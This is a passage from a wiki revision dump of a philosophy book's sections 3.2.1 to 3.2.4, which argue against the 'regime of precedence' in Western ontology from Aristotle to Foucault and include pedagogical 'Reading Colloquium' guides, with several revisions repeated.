something arrives only as deferred, displaced, fractured. In every instance, emergence is reabsorbed into a logic of aftermath, never affirmed as pure operativity without ground. The Ontology of Emergent Complexity breaks decisively with this model. It neither replaces absence with fullness nor structure with flux. It rejects the question of “where it came from” as a residue of metaphysical obsession. There is no primordial ground enabling emergence. There is only the local modulation of material thresholds — moments where existing forms fail to sustain the excess of operative combinations. What emerges does so not in response to a lack, but as a differential activation of unrealized potentials within matter itself. This is not a return to immanence nor an update of vitalism. The OEC affirms material heterogeneity that cannot be totalized or embedded in causal chains. Emergence is not contradiction’s resolution — it is the manifestation of operative asymmetry, where a system reorganizes itself not because it collapses, but because its previous form no longer suffices. There is no finality, no redemptive logic. The event does not repair or fulfill — it modulates. The philosophical cost of this position is high. It demands that we abandon the notion that reality must be intelligible by origin, and accept instead that intelligibility is a local effect of symbolic reorganization. Thought becomes operative not through revelation, but through modulation. It is not what uncovers what preceded, but what responds to what exceeds. In this ontology, origin gives way to threshold. No ''archē'', no cause, no rupture to explain emergence. Only the moment when matter begins to reconfigure itself — not because it remembers, lacks, or collapses, but because it persists beyond its previous form. Emergence is not the echo of what was lost. It is the vibration of what could not yet happen. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection introduces the concept of the regime of precedence — the philosophical assumption that what is temporally or logically prior determines what follows. This is the structural assumption that the framework identifies at the heart of both classical and modern ontology. === 2. Philosophical Problem at Stake === Why does Western philosophy consistently explain the present by reference to the past, the complex by reference to the simple, the emergent by reference to the foundational? The answer is that a regime of precedence operates as a deep structural commitment that organises explanation in one direction: from origin to derivation, from ground to superstructure, from cause to effect. === 3. Core Thesis and Conceptual Reorganisation === The section does not deny temporal priority or causal history. It challenges the conversion of what came earlier into a foundation that already determines the meaning of what follows. Origins are often reconstructed after the event and made to carry explanatory weight they did not possess in advance. Insistence shifts attention towards the relations that presently sustain a configuration without erasing its history. === 4. Key Concepts and Their Articulation === The regime of precedence makes priority function as foundation. Retroactive origin names the reconstruction that reads a result back into its antecedents. Insistence concerns the operative persistence of a configuration in the present, and the archaeological gesture identifies the assumptions that organise a given order of explanation. === 5. Implications for Readers and Pedagogical Pathways === Readers should apply this concept reflexively: when they find themselves asking "what is the origin of X?" they should recognise that this question is itself an expression of the regime of precedence. The framework encourages a different question: "what operative conditions sustain X in its current configuration?" {{BookCat}} 2d1leqqdf2vkyx13jq9w4o4mes93c7y 4670833 4670804 2026-09-18T02:01:34Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670833 wikitext text/x-wiki == 3.2.1 - The Regime of Precedence == Western philosophy has never truly conceived of origin as an inaugural event without precedence. From the early Presocratics to modern continental thought, emergence has consistently been interpreted as consequence, rupture, derivation or transformation. Even its most critical strands have preserved the structure of succession: something begins because something lacked, fractured or ended; something emerges in response to absence or decay. In such paradigms, origin is never a gesture — it is always a structural effect, a retroactive inscription upon what is already given. This is not merely a matter of language — but one of philosophical architecture. In fleeing theological creation, philosophy fell back upon logical models that demand conditions. From ''archē'' to ''différance'', from the unmoved mover to sufficient reason, from dialectical negation to transcendental categories, thought has been governed by the compulsive need to justify beginning through derivation (Aristotle, 1984, p. 71; Leibniz, 1989, p. 210; Derrida, 1967, p. 41; Hegel, 2004, p. 179). No system ever affirmed emergence as that which neither follows nor reacts — but simply irrupts, without cause, without return. In classical ontology, origin is often substance or potentiality. Anaximander’s ''apeiron'' precedes everything as generative matrix (Kirk & Raven, 1957, p. 105); Heraclitus sees conflict generate unity (Freeman, 1949, p. 254); Plato grounds the visible in Ideas (Plato, ''Timaeus'', 1997, p. 41d); and even Aristotle, in secularizing ''archē'', posits an unmoved mover as final cause (Aristotle, 1984, p. 1072b). In all cases, origin is anterior, necessary, and superior — never emergence, always foundation. Modernity seemed poised to rupture this structure but, in fact, preserved it. Descartes sought the absolute ground of thought in the transparency of subjectivity (Descartes, 1996, p. 17); Leibniz formulated the principle of sufficient reason (Leibniz, 1989, p. 210); Kant, even while rejecting the metaphysics of the absolute, anchored knowledge in a priori forms that preceded experience (Kant, 1998, p. 154). Emergence remained tied to condition: a prior plan that organizes the possibility of what becomes. Even Hegel, who breaks with the idea of initial stability, grounds becoming in a negativity that demands reconciliation. Origin here is a conflict to be resolved, a dialectic to be completed — but still preceded by lack, indeterminacy, and rupture (Hegel, 2004, p. 179). The beginning remains an effect of absence, never a gesture of affirmation. In the twentieth century, displacement occurs, but the model persists. Freud sees trauma and repression as motors of psychic formation (Freud, 1920, p. 60); Heidegger grounds Being in a horizon of forgetfulness (Heidegger, 1996, p. 184); Derrida inscribes presence within absence (''différance'') (Derrida, 1967, p. 41); Nancy reads Being as shared but always already dissipated (Nancy, 1991, p. 39); Foucault analyzes subjects as effects of historical systems (Foucault, 1972, p. 63). Even in critique, the structure of anteriority remains — displaced, fractured, dispersed, but operative. There is always something prior: a loss, a field, a negativity. All these attempts fail where it matters most: none conceive emergence as that which does not follow. None accept that what begins does not succeed. Radical critique remains bound to the lost origin, the hidden structure, the founding absence. Emergence continues to be cast as synthesis, detour, deviation, flaw, delay — never as operativity without cause. What remains unthought in all these trajectories is the possibility that emergence does not follow. That it is neither delayed presence nor reconciled absence. Even where rupture is affirmed — as in Heidegger’s ''Ereignis'' (Heidegger, 1996, p. 248), Derrida’s ''différance'' (Derrida, 1967, p. 41), or Foucault’s discontinuity (Foucault, 1972, p. 141) — the structure of time remains sequential: something arrives only as deferred, displaced, fractured. In every instance, emergence is reabsorbed into a logic of aftermath, never affirmed as pure operativity without ground. The Ontology of Emergent Complexity breaks decisively with this model. It neither replaces absence with fullness nor structure with flux. It rejects the question of “where it came from” as a residue of metaphysical obsession. There is no primordial ground enabling emergence. There is only the local modulation of material thresholds — moments where existing forms fail to sustain the excess of operative combinations. What emerges does so not in response to a lack, but as a differential activation of unrealized potentials within matter itself. This is not a return to immanence nor an update of vitalism. The OEC affirms material heterogeneity that cannot be totalized or embedded in causal chains. Emergence is not contradiction’s resolution — it is the manifestation of operative asymmetry, where a system reorganizes itself not because it collapses, but because its previous form no longer suffices. There is no finality, no redemptive logic. The event does not repair or fulfill — it modulates. The philosophical cost of this position is high. It demands that we abandon the notion that reality must be intelligible by origin, and accept instead that intelligibility is a local effect of symbolic reorganisation. Thought becomes operative not through revelation, but through modulation. It is not what uncovers what preceded, but what responds to what exceeds. In this ontology, origin gives way to threshold. No ''archē'', no cause, no rupture to explain emergence. Only the moment when matter begins to reconfigure itself — not because it remembers, lacks, or collapses, but because it persists beyond its previous form. Emergence is not the echo of what was lost. It is the vibration of what could not yet happen. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection introduces the concept of the regime of precedence — the philosophical assumption that what is temporally or logically prior determines what follows. This is the structural assumption that the framework identifies at the heart of both classical and modern ontology. === 2. Philosophical Problem at Stake === Why does Western philosophy consistently explain the present by reference to the past, the complex by reference to the simple, the emergent by reference to the foundational? The answer is that a regime of precedence operates as a deep structural commitment that organises explanation in one direction: from origin to derivation, from ground to superstructure, from cause to effect. === 3. Core Thesis and Conceptual Reorganisation === The section does not deny temporal priority or causal history. It challenges the conversion of what came earlier into a foundation that already determines the meaning of what follows. Origins are often reconstructed after the event and made to carry explanatory weight they did not possess in advance. Insistence shifts attention towards the relations that presently sustain a configuration without erasing its history. === 4. Key Concepts and Their Articulation === The regime of precedence makes priority function as foundation. Retroactive origin names the reconstruction that reads a result back into its antecedents. Insistence concerns the operative persistence of a configuration in the present, and the archaeological gesture identifies the assumptions that organise a given order of explanation. === 5. Implications for Readers and Pedagogical Pathways === Readers should apply this concept reflexively: when they find themselves asking "what is the origin of X?" they should recognise that this question is itself an expression of the regime of precedence. The framework encourages a different question: "what operative conditions sustain X in its current configuration?" {{BookCat}} 5voh1g6qctf5jkljoqc2x39vrca47cv 0 476972 4670734 4670249 2026-09-17T23:40:39Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670734 wikitext text/x-wiki '''3.2.2 - The Classical Substrate: Substance and Necessity''' It was not transcendence that first condemned emergence — it was the idea that everything begins only as consequence. Within classical ontology, to think origin has almost always meant to subject the new to the logic of the already-given. What appears does not inaugurate; it merely answers. The inaugural gesture, in such a regime, is not creation but adequation — adaptation to the demand of a preceding structure that guarantees intelligibility. From Anaximander’s ''apeiron'' to Aristotle’s unmoved mover, from Heraclitean conflictual unity to Platonic Ideas, origin is repeatedly conceived as qualified anteriority — as a plane that sustains, organizes, and precedes (Kirk & Raven, 1957, p. 105; Freeman, 1949, p. 254; Plato, 1997, ''Timaeus'', p. 41d; Aristotle, 1984, ''Metaphysics'', p. 1072b). What emerges does not do so simply — it emerges because it was already virtually contained within what preceded it. The new, in this horizon, becomes a finally visible version of what has always been latent. Even difference, when allowed, is read as manifestation of an implicit order that merely becomes explicit over time. This is an ontological operation with a high cost: it denies matter the right to surprise itself. Emergence, as the creation of an unexpected configuration, is converted into the expression of codified necessity. Under the name of “foundation,” suspicion is installed against everything that cannot be traced back. And thought, which ought to follow the unexpected, learns to distrust what lacks a cause. This is the regressive mark of classical thought: every event is forced to retroactively justify itself. Rather than assuming itself as operation, it is inscribed as consequence. The dynamics of the real are read as realizations of pre-established virtualities — not as unforeseen modulations of complex matter. Possibility becomes only deferred reality — and never a reality that exceeds expectation. It is this logic that the Ontology of Emergent Complexity (OEC) seeks to dismantle. Its break is not only with the idea of substance, but with the deepest habit of Western metaphysics: the belief that everything that begins must make explicit what was already implicit. Against that scheme, emergence is affirmed here as differential activation — not as unfolding, nor as response, but as local reconfiguration that does not retrace origin. Matter, in this new regime, is not a substrate of realization: it is an operator of variation. There is no substance from which forms derive, nor ''telos'' that guides them. What exists are zones of functional saturation, where a system, unable to sustain its previous organization, invents another. Not through collapse, nor through memory — but through insistence. In this sense, the philosophical proposition advanced here is not a critique of origin, but a refusal of its traditional form. Origin, when it exists, is not anterior: it is a retroactive effect of emergence. It becomes visible only after something has already begun. Novelty, therefore, does not depend on foundation — it depends on material intensification. To think, in this context, is no longer to seek what gave rise. It is to follow what begins without warning. There is no ontological security in such a gesture — only the demand for operatory listening. Intelligibility is not a promise of structure: it is a provisional conquest of the event. Regression, then, is not merely a conceptual error. It is a symbolic containment device. To break with the classical substrate is to free the real from the obligation to obey the order of the anterior. It is to accept that something can arise without being continuation — that there is potency without plan, and difference without debt. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} t6zv25hamfjs9s0fstps199fqskjtqb 4670787 4670734 2026-09-18T01:44:17Z DavidCota64 3507033 Use canonical terminology: operative 4670787 wikitext text/x-wiki '''3.2.2 - The Classical Substrate: Substance and Necessity''' It was not transcendence that first condemned emergence — it was the idea that everything begins only as consequence. Within classical ontology, to think origin has almost always meant to subject the new to the logic of the already-given. What appears does not inaugurate; it merely answers. The inaugural gesture, in such a regime, is not creation but adequation — adaptation to the demand of a preceding structure that guarantees intelligibility. From Anaximander’s ''apeiron'' to Aristotle’s unmoved mover, from Heraclitean conflictual unity to Platonic Ideas, origin is repeatedly conceived as qualified anteriority — as a plane that sustains, organizes, and precedes (Kirk & Raven, 1957, p. 105; Freeman, 1949, p. 254; Plato, 1997, ''Timaeus'', p. 41d; Aristotle, 1984, ''Metaphysics'', p. 1072b). What emerges does not do so simply — it emerges because it was already virtually contained within what preceded it. The new, in this horizon, becomes a finally visible version of what has always been latent. Even difference, when allowed, is read as manifestation of an implicit order that merely becomes explicit over time. This is an ontological operation with a high cost: it denies matter the right to surprise itself. Emergence, as the creation of an unexpected configuration, is converted into the expression of codified necessity. Under the name of “foundation,” suspicion is installed against everything that cannot be traced back. And thought, which ought to follow the unexpected, learns to distrust what lacks a cause. This is the regressive mark of classical thought: every event is forced to retroactively justify itself. Rather than assuming itself as operation, it is inscribed as consequence. The dynamics of the real are read as realizations of pre-established virtualities — not as unforeseen modulations of complex matter. Possibility becomes only deferred reality — and never a reality that exceeds expectation. It is this logic that the Ontology of Emergent Complexity (OEC) seeks to dismantle. Its break is not only with the idea of substance, but with the deepest habit of Western metaphysics: the belief that everything that begins must make explicit what was already implicit. Against that scheme, emergence is affirmed here as differential activation — not as unfolding, nor as response, but as local reconfiguration that does not retrace origin. Matter, in this new regime, is not a substrate of realization: it is an operator of variation. There is no substance from which forms derive, nor ''telos'' that guides them. What exists are zones of functional saturation, where a system, unable to sustain its previous organization, invents another. Not through collapse, nor through memory — but through insistence. In this sense, the philosophical proposition advanced here is not a critique of origin, but a refusal of its traditional form. Origin, when it exists, is not anterior: it is a retroactive effect of emergence. It becomes visible only after something has already begun. Novelty, therefore, does not depend on foundation — it depends on material intensification. To think, in this context, is no longer to seek what gave rise. It is to follow what begins without warning. There is no ontological security in such a gesture — only the demand for operative listening. Intelligibility is not a promise of structure: it is a provisional conquest of the event. Regression, then, is not merely a conceptual error. It is a symbolic containment device. To break with the classical substrate is to free the real from the obligation to obey the order of the anterior. It is to accept that something can arise without being continuation — that there is potency without plan, and difference without debt. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} i76tbinduig5u9h18llqrfdrxep3x2s 4670805 4670787 2026-09-18T01:51:00Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670805 wikitext text/x-wiki '''3.2.2 - The Classical Substrate: Substance and Necessity''' It was not transcendence that first condemned emergence — it was the idea that everything begins only as consequence. Within classical ontology, to think origin has almost always meant to subject the new to the logic of the already-given. What appears does not inaugurate; it merely answers. The inaugural gesture, in such a regime, is not creation but adequation — adaptation to the demand of a preceding structure that guarantees intelligibility. From Anaximander’s ''apeiron'' to Aristotle’s unmoved mover, from Heraclitean conflictual unity to Platonic Ideas, origin is repeatedly conceived as qualified anteriority — as a plane that sustains, organizes, and precedes (Kirk & Raven, 1957, p. 105; Freeman, 1949, p. 254; Plato, 1997, ''Timaeus'', p. 41d; Aristotle, 1984, ''Metaphysics'', p. 1072b). What emerges does not do so simply — it emerges because it was already virtually contained within what preceded it. The new, in this horizon, becomes a finally visible version of what has always been latent. Even difference, when allowed, is read as manifestation of an implicit order that merely becomes explicit over time. This is an ontological operation with a high cost: it denies matter the right to surprise itself. Emergence, as the creation of an unexpected configuration, is converted into the expression of codified necessity. Under the name of “foundation,” suspicion is installed against everything that cannot be traced back. And thought, which ought to follow the unexpected, learns to distrust what lacks a cause. This is the regressive mark of classical thought: every event is forced to retroactively justify itself. Rather than assuming itself as operation, it is inscribed as consequence. The dynamics of the real are read as realizations of pre-established virtualities — not as unforeseen modulations of complex matter. Possibility becomes only deferred reality — and never a reality that exceeds expectation. It is this logic that the Ontology of Emergent Complexity (OEC) seeks to dismantle. Its break is not only with the idea of substance, but with the deepest habit of Western metaphysics: the belief that everything that begins must make explicit what was already implicit. Against that scheme, emergence is affirmed here as differential activation — not as unfolding, nor as response, but as local reconfiguration that does not retrace origin. Matter, in this new regime, is not a substrate of realization: it is an operator of variation. There is no substance from which forms derive, nor ''telos'' that guides them. What exists are zones of functional saturation, where a system, unable to sustain its previous organization, invents another. Not through collapse, nor through memory — but through insistence. In this sense, the philosophical proposition advanced here is not a critique of origin, but a refusal of its traditional form. Origin, when it exists, is not anterior: it is a retroactive effect of emergence. It becomes visible only after something has already begun. Novelty, therefore, does not depend on foundation — it depends on material intensification. To think, in this context, is no longer to seek what gave rise. It is to follow what begins without warning. There is no ontological security in such a gesture — only the demand for operative listening. Intelligibility is not a promise of structure: it is a provisional conquest of the event. Regression, then, is not merely a conceptual error. It is a symbolic containment device. To break with the classical substrate is to free the real from the obligation to obey the order of the anterior. It is to accept that something can arise without being continuation — that there is potency without plan, and difference without debt. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection examines the classical substrate: the concepts of substance and necessity that formed the bedrock of Greek and medieval ontology. It reads these concepts as specific expressions of the regime of precedence — as ways of grounding explanation in what is permanent, necessary, and prior to change. === 2. Philosophical Problem at Stake === How did classical ontology justify the privilege of permanence? The section traces the answer through Aristotle's hylomorphism and the scholastic doctrine of necessary being, showing that both rely on the assumption that change requires a substrate that does not change — substance. === 3. Core Thesis and Conceptual Reorganisation === The displacement separates persistence from substance. Relatively durable patterns of functional coupling can remain recognisable without an invariant substrate standing beneath their changes. The classical concept of necessary being is not redescribed as an unusually stable object; its explanatory function is refused because material stability remains local, conditioned, and exposed to alteration. === 4. Key Concepts and Their Articulation === The central contrast is between substance and persistent coupling. The hylomorphic division of form and matter is displaced by material organisation, while metaphysical necessity is distinguished from the high but conditional stability of a configuration. === 5. Implications for Readers and Pedagogical Pathways === Readers with a background in ancient and medieval philosophy will find this section both familiar and unsettling. The framework does not dismiss Aristotle's insights into the structure of persistence; it reinterprets them within a framework that does not require a permanent substrate. {{BookCat}} 5yamggns9yggvptuhjn3iwagm4h0fzn 0 476973 4670735 4670251 2026-09-17T23:40:42Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670735 wikitext text/x-wiki == 3.2.3 - Modernity’s Continuation: Foundation and Structure == If classical metaphysics established the habit of thinking origin as substantive anteriority, modernity did not break with this gesture — it refined it. Modern thought does not liberate emergence from structure; it perfects the mechanisms that capture it. The new no longer depends on an eternal substance but on a rational organization of the possible. Spontaneity is replaced by condition; irruption, by formal codification. The Cartesian turn, which inaugurates the regime of transparent interiority, does not dissolve the problem of foundation — it merely relocates it inward. The ''cogito'', instead of opening thought radically, reinstalls origin in the self-evident subject, as a transcendental instance of validation. The point of departure is no longer the world, but the thinking that sees itself as the basis of certainty. At heart, regression persists: what legitimates the new is the clarity of what internally precedes it (Descartes, 1996, ''Meditations on First Philosophy'', p. 17). Leibniz amplifies this logic by formalizing the principle of sufficient reason. Nothing can be without reason; all existence must be deducible. This imperative converts reality into a complete system of justification — the event is admissible only if it can be positioned within a prior network of intelligibility. Chance is domesticated, emergence recoded as logical compatibility. Ontology becomes a system for accounting possibility (Leibniz, 1989, ''Monadology'', p. 210). Kant, even while subverting classical categories, preserves the model. His transcendental gesture performs a revolution without rupture: it replaces ontological foundations with gnoseological conditions, but maintains the requirement that every phenomenon be articulable to an anterior matrix. The ''a priori'' categories are not substances, but they function as inevitable filters of experience. Emergence remains forbidden from surprising — it can only occur as parameterized variation within a prior framework (Kant, 1998, ''Critique of Pure Reason'', p. 154). Within this horizon, novelty is no longer prohibited by an anterior essence but by a normative logic of the possible. Structure replaces substance as the guarantor of the real. Even if the vocabulary modernizes — ''reason'', ''subject'', ''system'', ''function'' — the gesture remains the same: to submit what begins to the obligation of being interpretable in light of what is already known. Not even Hegel, whose dialectic dynamizes the concept of origin, escapes this logic. Hegelian emergence is always wrapped in resolvable negativity. The new does not arise as such — it is necessary as overcoming. Every affirmation is preceded by tension; every being, by non-being; every beginning, by conflict. Dialectics is both a power of movement and a containment device: it permits transformation but demands that every mutation obey a path of reconciliation (Hegel, 2004, ''Phenomenology of Spirit'', p. 69). Modernity, therefore, does not abandon foundational obsession — it merely disguises it under the name of structure. The event no longer requires essence, but it does require system. Its existence is legitimized not by substantial anteriority, but by functional predictability. The unexpected remains forbidden, not because it lacks being, but because it lacks place. This is the model that the ''Ontology of Emergent Complexity (OEC)'' seeks to abandon. Against the requirement that reality conform to a prior framework, emergence is affirmed here as a gesture that exceeds all condition. There is no sufficient reason, no transparent subject, no ''a priori'' form that defines the field of the possible. There is only an intensive material plane, where the unexpected is the norm of organization, not its exception. To emerge, in this regime, is not to realize a latent structure — it is to produce a new instability, not contained in any previous code. Structure, far from being a condition of possibility, becomes merely a transitory form of containment. And to think no longer means to order the diverse, but to accompany its productive disorder. What is at stake is not just a new theory of origin, but a new ontology of intelligibility: one in which meaning is not given before, but arises ''with''. Emergence ceases to be the effect of a system and becomes the motor of symbolic organization itself. Only then is it possible to think the real as that which begins without guarantee — and therefore, thinks. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} 22ahmj0xugunl3btzizd10s6t3ofyi8 4670806 4670735 2026-09-18T01:51:02Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670806 wikitext text/x-wiki == 3.2.3 - Modernity’s Continuation: Foundation and Structure == If classical metaphysics established the habit of thinking origin as substantive anteriority, modernity did not break with this gesture — it refined it. Modern thought does not liberate emergence from structure; it perfects the mechanisms that capture it. The new no longer depends on an eternal substance but on a rational organization of the possible. Spontaneity is replaced by condition; irruption, by formal codification. The Cartesian turn, which inaugurates the regime of transparent interiority, does not dissolve the problem of foundation — it merely relocates it inward. The ''cogito'', instead of opening thought radically, reinstalls origin in the self-evident subject, as a transcendental instance of validation. The point of departure is no longer the world, but the thinking that sees itself as the basis of certainty. At heart, regression persists: what legitimates the new is the clarity of what internally precedes it (Descartes, 1996, ''Meditations on First Philosophy'', p. 17). Leibniz amplifies this logic by formalizing the principle of sufficient reason. Nothing can be without reason; all existence must be deducible. This imperative converts reality into a complete system of justification — the event is admissible only if it can be positioned within a prior network of intelligibility. Chance is domesticated, emergence recoded as logical compatibility. Ontology becomes a system for accounting possibility (Leibniz, 1989, ''Monadology'', p. 210). Kant, even while subverting classical categories, preserves the model. His transcendental gesture performs a revolution without rupture: it replaces ontological foundations with gnoseological conditions, but maintains the requirement that every phenomenon be articulable to an anterior matrix. The ''a priori'' categories are not substances, but they function as inevitable filters of experience. Emergence remains forbidden from surprising — it can only occur as parameterized variation within a prior framework (Kant, 1998, ''Critique of Pure Reason'', p. 154). Within this horizon, novelty is no longer prohibited by an anterior essence but by a normative logic of the possible. Structure replaces substance as the guarantor of the real. Even if the vocabulary modernizes — ''reason'', ''subject'', ''system'', ''function'' — the gesture remains the same: to submit what begins to the obligation of being interpretable in light of what is already known. Not even Hegel, whose dialectic dynamizes the concept of origin, escapes this logic. Hegelian emergence is always wrapped in resolvable negativity. The new does not arise as such — it is necessary as overcoming. Every affirmation is preceded by tension; every being, by non-being; every beginning, by conflict. Dialectics is both a power of movement and a containment device: it permits transformation but demands that every mutation obey a path of reconciliation (Hegel, 2004, ''Phenomenology of Spirit'', p. 69). Modernity, therefore, does not abandon foundational obsession — it merely disguises it under the name of structure. The event no longer requires essence, but it does require system. Its existence is legitimized not by substantial anteriority, but by functional predictability. The unexpected remains forbidden, not because it lacks being, but because it lacks place. This is the model that the ''Ontology of Emergent Complexity (OEC)'' seeks to abandon. Against the requirement that reality conform to a prior framework, emergence is affirmed here as a gesture that exceeds all condition. There is no sufficient reason, no transparent subject, no ''a priori'' form that defines the field of the possible. There is only an intensive material plane, where the unexpected is the norm of organization, not its exception. To emerge, in this regime, is not to realize a latent structure — it is to produce a new instability, not contained in any previous code. Structure, far from being a condition of possibility, becomes merely a transitory form of containment. And to think no longer means to order the diverse, but to accompany its productive disorder. What is at stake is not just a new theory of origin, but a new ontology of intelligibility: one in which meaning is not given before, but arises ''with''. Emergence ceases to be the effect of a system and becomes the motor of symbolic organization itself. Only then is it possible to think the real as that which begins without guarantee — and therefore, thinks. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection traces the continuation of the regime of precedence into modernity. While Descartes, Kant, and Hegel each transformed the classical apparatus, they retained its fundamental structure: the demand for a foundation, a ground, a first principle from which the rest can be derived. === 2. Philosophical Problem at Stake === How does modernity both displace and preserve classical grounding? The section shows that the modern relocation of ground to the subject (Descartes), the transcendental conditions of experience (Kant), and the dialectical system (Hegel) are transformations, not abolitions, of the regime of precedence. === 3. Core Thesis and Conceptual Reorganisation === The thesis is that modern philosophy repeats the classical gesture in a new key: the ground shifts from God or substance to the rational subject or the dialectical totality, but the structural demand for a self-grounding foundation persists. === 4. Key Concepts and Their Articulation === Foundation as displaced substance, the subject as modern ground, the dialectical totality as secularised providence. === 5. Implications for Readers and Pedagogical Pathways === This subsection prepares readers for §5.2, which develops the critique of modern rationalism at greater length. The key insight here is structural: modernity does not escape the regime of precedence; it relocates it. {{BookCat}} lhze1quhu59ol4wgg4a5ffzbo2duqtt 0 476974 4670736 4670253 2026-09-17T23:40:45Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670736 wikitext text/x-wiki '''3.2.4 - Critical Displacement without Abandonment''' Twentieth-century thought, no matter how radical in its deconstructions, did not sever itself from the structure of anteriority — it merely displaced it. What appears as a refusal of origin often reveals itself as a reaffirmation of its ghostly function: even when origin is dismantled, its logic reappears under different names — trauma, repression, absence, trace, device. Freud does not conceive of emergence as invention, but as return. The unconscious, rather than inaugurating a new topology of the subject, always encounters a lost vestige, a primal trauma, a founding repression. Novelty here is repressed before it is lived; what emerges is merely what has been deformed. The psyche does not rupture — it reverberates. Heidegger, in situating Being within the history of its forgetting, transforms forgetting itself into a mode of foundation. The emergence of Being, within the horizon of ''Ereignis'', is not unfounded, but modulated by original concealment. Presence can only happen as the return of what has been withdrawn. Ontology remains marked by a chronology of errancy — an archaeology of the veiled. In Derrida, the radical critique of presence does not annul the temporality of deferral. ''Différance'' is not pure disjunction, but an operation of structural postponement. Emergence is always inscription within the already-there — trace, supplement, empty mirror of origin. Absence becomes condition, not failure. The event no longer affirms: it writes itself belatedly. Jean-Luc Nancy seeks to free Being from its substantial enclosure, but replaces it with an ontological sharing in which the common is always already dissipated. ''Being-in-common'' is not the generation of meaning, but exposure to its withdrawal. Emergence does not constitute; it exposes an impossibility of full constitution. The event, far from creation, remains a sharing of absence. Foucault rejects the subject, but maintains historicity as a necessary field of legibility. Regimes of knowledge, dispositifs, archives: everything that enables appearance is structured by an economy of the before. Emergence, in his terms, is not irruption but strategic redistribution within a matrix. There is no event without regime; no novelty outside the grid. In this constellation of positions, critique is not realized through abandonment, but through internal displacement. Negativity replaces substance, absence occupies the place of origin, and deviation becomes the very meaning. Yet none of these proposals affirms emergence as positivity without network — as operative act that neither retraces nor compensates. Critique remains attached to what it fights — still captive to the logic it claims to refuse. The ''Ontology of Emergent Complexity'' refuses this disguised fidelity. It does not displace origin — it dissolves its function. Emergence here does not depend on absence, repression, forgetting, or structure. It happens because matter, under conditions of functional instability, reconfigures itself in a novel way. The new is neither return, nor echo, nor supplement — it is a material excess that cannot be reintegrated. This refusal of any anteriority as condition does not imply arbitrariness — it implies the rejection of the idea that thought requires a debt. In this framework, thinking does not reconstruct lost pasts nor decipher traces. It operates in the absolute presence of a real that insists — without origin, without return, without center. To say that something emerges, in this ontology, is to affirm that the event requires no prior inscription. There is no lack to be filled, no structure to be repeated. There are only fields of matter that modulate difference until a new configuration imposes itself. Not through deviation — through excess. Not through lack — through potency. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} 0qzjrb8mnoz8c5v04jdp2icqlwtp7xh 4670790 4670736 2026-09-18T01:44:49Z DavidCota64 3507033 Apply British English: centre 4670790 wikitext text/x-wiki '''3.2.4 - Critical Displacement without Abandonment''' Twentieth-century thought, no matter how radical in its deconstructions, did not sever itself from the structure of anteriority — it merely displaced it. What appears as a refusal of origin often reveals itself as a reaffirmation of its ghostly function: even when origin is dismantled, its logic reappears under different names — trauma, repression, absence, trace, device. Freud does not conceive of emergence as invention, but as return. The unconscious, rather than inaugurating a new topology of the subject, always encounters a lost vestige, a primal trauma, a founding repression. Novelty here is repressed before it is lived; what emerges is merely what has been deformed. The psyche does not rupture — it reverberates. Heidegger, in situating Being within the history of its forgetting, transforms forgetting itself into a mode of foundation. The emergence of Being, within the horizon of ''Ereignis'', is not unfounded, but modulated by original concealment. Presence can only happen as the return of what has been withdrawn. Ontology remains marked by a chronology of errancy — an archaeology of the veiled. In Derrida, the radical critique of presence does not annul the temporality of deferral. ''Différance'' is not pure disjunction, but an operation of structural postponement. Emergence is always inscription within the already-there — trace, supplement, empty mirror of origin. Absence becomes condition, not failure. The event no longer affirms: it writes itself belatedly. Jean-Luc Nancy seeks to free Being from its substantial enclosure, but replaces it with an ontological sharing in which the common is always already dissipated. ''Being-in-common'' is not the generation of meaning, but exposure to its withdrawal. Emergence does not constitute; it exposes an impossibility of full constitution. The event, far from creation, remains a sharing of absence. Foucault rejects the subject, but maintains historicity as a necessary field of legibility. Regimes of knowledge, dispositifs, archives: everything that enables appearance is structured by an economy of the before. Emergence, in his terms, is not irruption but strategic redistribution within a matrix. There is no event without regime; no novelty outside the grid. In this constellation of positions, critique is not realized through abandonment, but through internal displacement. Negativity replaces substance, absence occupies the place of origin, and deviation becomes the very meaning. Yet none of these proposals affirms emergence as positivity without network — as operative act that neither retraces nor compensates. Critique remains attached to what it fights — still captive to the logic it claims to refuse. The ''Ontology of Emergent Complexity'' refuses this disguised fidelity. It does not displace origin — it dissolves its function. Emergence here does not depend on absence, repression, forgetting, or 